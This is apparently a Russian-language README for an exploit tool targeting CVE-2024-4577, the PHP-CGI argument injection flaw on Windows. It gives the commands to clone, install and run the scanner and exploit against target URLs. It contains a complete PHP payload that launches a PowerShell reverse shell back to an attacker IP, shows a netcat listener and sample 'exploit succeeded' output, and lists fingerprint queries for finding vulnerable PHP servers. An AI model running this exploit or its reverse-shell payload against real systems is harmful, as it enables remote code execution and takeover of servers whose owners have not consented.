
PHP CGI Внедрение аргументов (CVE-2024-4577) RCE
В версиях PHP 8.1.* до 8.1.29, 8.2.* до 8.2.20, 8.3.* до 8.3.8 при использовании Apache и PHP-CGI в Windows, если система настроена на использование определённых кодовых страниц, Windows может применять поведение «Best-Fit» для замены символов в командной строке, передаваемой функциям Win32 API. Модуль PHP CGI может неправильно интерпретировать эти символы как параметры PHP, что позволяет злоумышленнику передавать опции бинарному файлу PHP, раскрывать исходный код скриптов, выполнять произвольный PHP-код на сервере и т.д.
«XAMPP уязвим в конфигурации по умолчанию, и мы можем атаковать конечную точку /php-cgi/php-cgi.exe. Чтобы атаковать конечную точку .php (например, /index.php), сервер должен быть настроен на выполнение PHP-скриптов в режиме CGI».
$ git clone https://github.com/fa-rrel/CVE-2024-4577-RCE/
$ cd CVE-2024-4577-RCE && pip install -r requirements.txt
$ python3 CVE-2024-4577.py -s -t https://target.com/
[!NOTE] Этот инструмент демонстрирует реалистичные атаки и техники (TTPs). Однако данный конкретный образец полезной нагрузки не работает в этом сценарии. Измените shell.php, чтобы получить полностью рабочую полезную нагрузку.
# rev_shell.php
<?php
$payload = "powershell -c \"\$client = New-Object System.Net.Sockets.TCPClient('192.168.56.100', 9001);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\";
exec($payload);
?>
$ python3 CVE-2024-4577.py -s -t https://target.com/
______ _______ ____ ___ ____ _ _ _ _ ____ _____ _____
/ ___\ \ / / ____| |___ \ / _ \___ \| || | | || || ___|___ |___ |
| | \ \ / /| _| __) | | | |__) | || |_ _____| || ||___ \ / / / /
| |___ \ V / | |___ / __/| |_| / __/|__ _|_____|__ _|__) |/ / / /
\____| \_/ |_____| |_____|\___/_____| |_| |_||____//_/ /_/
Автор: Ghost_sec | Youtube.com/Ghost_sec | Github.com/fa-rrel | POC и сканирование
[+] Цель https://target.com уязвима к CVE-2024-4577
$ python3 CVE-2024-4577.py -t {targetsite.txt} -e -p rev_shell.php
______ _______ ____ ___ ____ _ _ _ _ ____ _____ _____
/ ___\ \ / / ____| |___ \ / _ \___ \| || | | || || ___|___ |___ |
| | \ \ / /| _| __) | | | |__) | || |_ _____| || ||___ \ / / / /
| |___ \ V / | |___ / __/| |_| / __/|__ _|_____|__ _|__) |/ / / /
\____| \_/ |_____| |_____|\___/_____| |_| |_||____//_/ /_/
Автор: Ghost_sec | Youtube.com/Ghost_sec | Github.com/fa-rrel | POC и сканирование
[+] Эксплойт выполнен успешно!
$ nc -lvnp 9001
server: PHP 8.1, server: PHP 8.2, server: PHP 8.3protocol="http" && header="X-Powered-By: PHP/8.1" || header="X-Powered-By: PHP/8.2" || header="X-Powered-By: PHP/8.3"Этот инструмент предоставляется только в образовательных и исследовательских целях. Создатель не несёт ответственности за любое неправомерное использование или ущерб, причинённый с помощью данного инструмента.